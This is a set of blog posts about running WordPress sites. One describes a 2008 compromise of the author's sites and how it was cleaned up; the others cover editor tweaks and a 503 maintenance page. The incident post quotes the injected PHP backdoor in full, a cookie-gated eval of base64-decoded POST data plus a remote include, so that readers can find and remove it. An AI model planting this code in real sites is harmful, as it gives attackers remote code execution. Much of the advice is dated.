Needless to say, I’ve been forced to quickly learn a lot about web security, and I’ve been grateful to be forced to do so without major losses. I’ll try and document some useful things I’ve learned here.

The hack

I’m not sure anyone’s come up with a catchy name for the specific attack I suffered, but it was directed at WordPress installations.

With the recent release of WP 2.5, there have been some sharp warnings about upgrading. I thought I would hold off for 2.5.1. I also thought that for the few friends who have WP installations on my server, it was their choice and their risk whether they wanted to upgrade or not.

In the end, all my WP installations were compromised. I think what happened is that earlier (2.1.x) installations got compromised, and because I’ve been ignorant enough to have all installations connect to their database with the same login, even my test 2.5 installations (which are blocked from public access by .htaccess logins) were compromised. In any case, the lesson here is clear: keep all WP installations on any server you run upgraded to the latest version.

The signs of the attack are quite distinct. It’s documented on the WP forum and by other people. Here’s my summary of my experience:

• New files started appearing around April 11th 2008, seemingly always based on file or directories names in the same directory. So, in a directory with a file called taxonomy.php, there might be a new file called taxonomy_old.php or taxonomy_new.php. Other common new names included image-like extensions, e.g. crop.php.pngg or wlw_old.php.giff.
• The main WP index.php changed to look like this:
  

  <?php if(md5($_COOKIE['_wp_debugger'])==
  "[long hash string here]"){ eval(base64_decode($_POST['file'])); exit; } ?><?php
  /* Short and sweet */
  if (isset($_GET['license'])) {
  @include(’http://wordpress.net.in/license.txt’);
  } else {
  define(’WP_USE_THEMES’, true);
  require(’./wp-blog-header.php’);
  }
  ?>

• That top line of PHP code was inserted into many other files.
• A new user account could be found in the wp_user table, username “WordPress”. Apparently it doesn’t show up in the WP admin screen—check the database using phpMyAdmin. There were also corresponding entries, granting admin priveleges, in wp_usermeta, along with other entries that didn’t have a corresponding account in wp_user.
• In pre-2.5 installations, the version number at the bottom of the admin screen had been changed to 2.5.

Apparently another common sign of this attack is the appearance of files named wp-info.txt (containing passwords and so on that have been discovered by the above scripts). I didn’t get this, but watch for this too.

Cleaning up

1. First, using phpMyAdmin, delete the “WordPress” entry from wp_user and its corresponding entries in wp_usermeta. Also delete all entries in wp_usermeta where the user_id value doesn’t correspond to a legitimate account in wp_user.
2. SSH into your server and search for offending code. I found the following commands useful:
   

   grep –recursive “eval(base64_decode($_POST['file']));” *

   grep –recursive “http://wordpress.net.in/license.txt” *

   grep –recursive “find suid files” *

   These search all files (*) in all sub-directories (--recursive, with two dashes—WordPress is converting the double dashes above into en dashes!) for the hack code strings. The first two are included into existing files; the last search is for a string that seems to occur in all new files. Obviously, adjust for the situation you discover on your server. This guy has some other goodies.

3. Remove all offending files, via FTP or SSH (see above link).

Securing WordPress

Obviously, upgrade all installations to the latest version. This might make the last step redundant, but of course you should preserve your wp-content directory (while thoroughly scanning those files for hacked code).

Then do the following:

1. With all of the following, use strong random passwords. Of course they needn’t be as long as the ones on the page I’ve linked to, but it’s a good place to grab however many characters you need.
2. Try to get all WP installations connecting to their data via separate database user accounts. Change all database account passwords.
3. Change the default admin account username in all WP installations to something other than “admin”. You’ll need to do this via phpMyAdmin—change the user_login field.
4. Change all WP user account passwords.
5. Heck, change any other passwords too (like FTP).
6. Change the default wp_ prefix for WordPress tables. The option to alter this is usually thought of as a way of installing multiple WP’s in the same database. That’s possible (but not ideal). Really, the main benefit is so hackers don’t know what your database tables are called. Richard LeCour has a good guide to this, and there’s even a plugin. Here’s my summary of the manual method:
   1. Change value of the $table_prefix variable in wp-config.php. I use a string of 5 or so characters from the password page.
   2. In phpMyAdmin, on the main page for the database in question, click the ‘SQL’ tab. Use the following code to change the table names. (Obviously adjust for any other wp_-prefixed tables, e.g. tables created by various plugins.)
      

      RENAME TABLE wp_comments TO [your prefix here]_comments;
      RENAME TABLE wp_links TO [your prefix here]_links;
      RENAME TABLE wp_options TO [your prefix here]_options;
      RENAME TABLE wp_postmeta TO [your prefix here]_postmeta;
      RENAME TABLE wp_posts TO [your prefix here]_posts;
      RENAME TABLE wp_terms TO [your prefix here]_terms;
      RENAME TABLE wp_term_relationships TO [your prefix here]_term_relationships;
      RENAME TABLE wp_term_taxonomy TO [your prefix here]_term_taxonomy;
      RENAME TABLE wp_usermeta TO [your prefix here]_usermeta;
      RENAME TABLE wp_users TO [your prefix here]_users;

      Note: I’ve sometimes put SQL queries in my custom themes code. I used to have the bad habit of referencing WP tables directly, e.g. wp_posts. You’ll need to change any instances of the same habit in your code using $wpdb->prefix. For instance, this:

      $sql = “SELECT ID, post_title FROM wp_posts WHERE post_status = ‘publish’”;

      Should become:

      $sql = “SELECT ID, post_title FROM “.$wpdb->prefix.”posts WHERE post_status = ‘publish’”;

      Most plugins use this to remain portable, but you might want to search your plugins for hard-coded wp_’s too.

   3. In the options table, change the option_name called wp_user_roles to have your new prefix instead of wp_.
   4. Likewise for all meta_key values in the usermeta table that start with wp_.
7. Finally, re-do the grep SSH searches for hacked files, and check the database for mystery user accounts. I missed some stuff first time and had hack symptoms popping up even during the process of upgrading and securing WordPress. Do a final pass to make sure.

My server’s been fine since doing all these things (though I’m touching wood now). Hopefully this’ll help you cope with it if you get the same attack, and help keep WordPress secure in the future.

Here’s some more resources on WordPress that I’m still absorbing:

• Hardening WordPress
• BlogSecurity.net: WordPress (see especially their WordPress Security Whitepaper)

WordPress 2.5

I’m really pleased with the new version of WordPress—great interface improvements, and it seems much nippier. However, I thought a curious new addition to the wp-config.php file could have done with some documentation, or some attention drawn to it. You’ll find this in 2.5’s new file:

// Change SECRET_KEY to a unique phrase. You won’t have to remember it later,
// so make it long and complicated. You can visit https://www.grc.com/passwords.htm
// to get a phrase generated for you, or just make something up.
define(’SECRET_KEY’, ‘put your unique phrase here’); // Change this to a unique phrase.

Some people have missed this, apparently exposing themselves to the one 2.5 vulnerability I’ve heard of so far. The long and the short is, check that faithful passwords page out again! And put a big long string of random characters in there.

One more non-security note about the new wp-config.php file. If you upgrade to 2.5 and find your blog content’s got loads of garbled characters in it, the culprit is probably this new line:

define(’DB_CHARSET’, ‘utf8′);

Comment it out like this:

//define(’DB_CHARSET’, ‘utf8′);

Good luck!

No, I’ve not found a way to stop it. Just a slightly lateral workaround: create the following generic class in your stylesheet and apply it to any form (or other containing element) where unwanted <br />s are being slipped in:

.nobr br {display: none;}

If you’re using <br /> tags yourself in that bit… well, you can always use a bit of a margin, eh?

Working with WordPress, many of the sites I deploy for clients need specific layout code within the editable content of WP-managed pages. The code is necessary, and the clients are savvy enough to work around my HTML when they edit their copy.

WP’s visual editor, however, isn’t. It switches any <div> for a <p>, and otherwise messes stuff up. Maybe there’s a way to coax it into being less interfering. But for now I just need to get the visual editor out the way.

In theory that’s fine - each user just has to uncheck the visual editor box on their WordPress profile. It’s set to be checked by default when a new user is created. It already happened several times that a client has forgotten to do this, gone to edit a tiny bit of copy on the delicately coded home page, only for the editor to mess it all up.

Can’t I just set visual editing to be “off” by default?

Here’s how. In the file wp-admin/admin-functions.php, change line 522 from this:

$user->rich_editing = ‘true’;

To (unsurprisingly) this:

$user->rich_editing = ‘false’;

Ever wanted to have a system in place that allows you to easily “switch on” a holding page for the whole of your site for when you need to do some maintenance? Well, that’s relatively easy to do; but what about bots? Even if you’re only down for 10 minutes, what if your luck is such that Googlebot makes its random rounds at precisely that time? Depending on how you’re holding page works, it might register a load of “404 - Not Found” errors, or replace your indexed content with your holding page… Who knows? Not I.

Well, with yet another WordPress upgrade (2.1.3) just out, I thought I would try to get to the bottom of this holding page issue. WordPress upgrades might be made smoother in a future version; but for now, it’s a slightly brutal case of deleting your live files and replacing them. Even without discovering some hair-tearing plugin incompatibilities along the way, or accidentally overwriting a crucial hack you’ve coded into your installation, a proper upgrade can take 10-20 minutes.

The only really useful page I found on the issue of bots and holding pages was over at AskApache.com. You can head over there and work out your own adaptation; I thought I’d document mine here for reference.

Note that the basics of this require PHP running on an Apache web server, with mod_rewrite enabled. The rest assumes you’re using WordPress.

The holding page

I created a file, 503.php, sitting in my site’s root. The code looks something like this:

<?php
header("HTTP/1.1 503 Service Temporarily Unavailable");
header("Status: 503 Service Temporarily Unavailable");
header("Retry-After: 3600");
?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xml:lang="en" lang="en" xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Site upgrade in progress</title>
<meta name="robots" content="none" />
</head>
<body>
<h1>Site upgrade in progress</h1>
<p>This site is being upgraded, and can’t currently be accessed.</p>
<p>It should be back up and running very soon. Please check back in a bit!</p>
<hr />
</body>
</html>

Those first two lines of PHP set the request’s HTTP headers to the “503 Service Unavailable” status code. HTTP headers are invisible when you’re browsing the web, but are read by the browser itself and by bots crawling around (and can be checked out via tools like Web-Sniffer and the Firefox Web Developer Extension). This status code means:

The server is currently unable to handle the request due to a temporary overloading or maintenance of the server. The implication is that this is a temporary condition which will be alleviated after some delay.

Just what we want.

The Retry-After bit is used to indicate how long you expect the site to be down for (in seconds). If you are hit by a search engine bot while down, it’ll probably understand this, but of course it doesn’t mean it’ll return as soon as that time’s elapsed. It’s probably got better things to do. At least it knows not to return too soon.

The rest is a plain page for humans, letting them know in English what’s going on. It needn’t be as minimalist as this; you can add branding if you want, and maybe a link to another site to be polite and give people a “way out”.

Allowing yourself access

The next step is to alter your .htaccess file to make sure all requests go to the 503 page.

But hang on - what about your good self? How do you test out all the maintenance you’re doing if you’re just being sent to 503.php with everyone else?

Basically, you filter requests by IP address. Assuming you have a static IP address, you can test that, and only let your own IP through.

Here’s the code for your .htaccess file:

Options +FollowSymLinks
RewriteEngine On
RewriteBase /
RewriteCond %{REMOTE_ADDR} !^23\.23\.23\.23
RewriteCond %{REQUEST_URI} !^/503.php [NC]
RewriteRule .* /503.php [L]

Just replace those numbers on the fourth line with your own IP. (Keep the backslashes before each dot!)

Those two RewriteCond (”rewrite condition”) lines basically mean: only apply the following rewrite if the IP of the request (REMOTE_ADDR) doesn’t match the one given, and the file requested (REQUEST_URI) isn’t 503.php (preventing an infinite loop!). As long as it’s not you and they’re not already going to 503.php, the RewriteRule kicks in and serves that page up. (Though note that the URL in the browser address bar doesn’t change for the user; this is rewriting, not redirecting.)

Note that last [L] in the code. That means, if this rewrite rule is processed, make it the last one. This is handy if you have other rewrites (e.g. your WordPress rewrites) that still need to work when you access the site, but which shouldn’t intefere with this rule for everyone else. Of course, for this reason, the above code should go right at the top of your file.

The switch

You may have your own technique. I keep 503.php and 503.htaccess in the web root. When I need to switch my holding page in, I just rename my usual .htaccess to something like LIVE.htaccess, and (quickly!) rename 503.htaccess to .htaccess.

All should now be on hold for the rest of the world. Bots should be politely leaving your site be for the while. And you should be able to get in and muck around to your heart’s content.

Looking through other’s eyes

A pesky stumbling block I came up against developing this technique was my obvious inability to see what other people were seeing via all those other IP addresses. My friend Jim, ever abreast of tech developments, directed me to the Torpark browser. Built on the Firefox shell, this browser is designed to anonymize your web surfing by routing your requests through a labyrinthine series of IP relays (or whatever they might call them).

It’s sluggish, but it works. Whatever your IP ends up being seen as by servers while browsing with this nifty tool, it won’t be your actual IP.

Upgrading WordPress

So, with these tricks ready to go, here’s my revised WordPress upgrade guide. (Do also check the official guide if you’re new to this though!)

One thing to bear in mind with more recent WordPress versions is that if the .htaccess file doesn’t contain WordPress’ rewrite rules at the end, it may try to “fix” things - and break them. Make sure your 503 .htaccess file has your usual WordPress rewrite rules at the end.

1. Backup all your files and your database.
2. Make sure you’ve a record of which files you’ve customized.
3. Do the 503 holding page switch.
4. De-activate all your plugins.
5. Delete all files apart from wp-config.php, the wp-content directory, and of course .htaccess and 503.php
6. Upload all files in the new version of WordPress (excluding the wp-content directory)
7. Run the upgrade script (e.g. http://yourdomain.com/wp-admin/upgrade.php)
8. Re-activate the plugins. Pray.
9. Check the site out, make sure it’s survived OK.
10. Revert to the original .htaccess file.
11. Done!

Update

I’ve just tried implementing this technique to display a holding page for a site that’s yet to be launched. Pretty much the same situation, but an interesting issue came up when I tried to include an image on the holding page. The image wouldn’t appear. I spent a frustrating 5 minutes checking paths and files, but eventually it dawned on me: the browser’s request for the image file was returning a 503 error, not the image!

A little extra .htaccess magic remedies this. Insert the following line before your RewriteRule line:

RewriteCond %{REQUEST_FILENAME} !\.(gif|jpe?g|png)$

Of course you may need to add css or js to that list of filetypes, depending on your holding page’s needs.

Anyway, for new installs it seems like the way to go, with a few caveats. One involves the potent but potentially tricksy .htaccess file for Apache server configuration settings. If, like me, you prefer to maintain control over the file yourself instead of having WordPress automatically generate it, you might run into problems when 2.1 tries to “fix” it.

If you suddenly get a HTTP 500 error (Internal Server Error), it’s often due to slip-ups in .htaccess. If you’re using WordPress 2.1 and get this, download .htaccess and see if WP hasn’t slipped its mod_rewrite rules in at the end. If you’ve adapted the default mod_rewrite code, WP 2.1 thinks it’s not there at all, and slips the default in at the end again.

I’ve not found a way to stop WP doing this - there was a suggestion to change the write permissions on the file to stop WP accessing it, but you’d have to switch them back every time you re-uploaded the file. Pain in the arse. I’ve just reverted to keeping the default WP mod_rewrite at the end of the file, exactly as WP intends.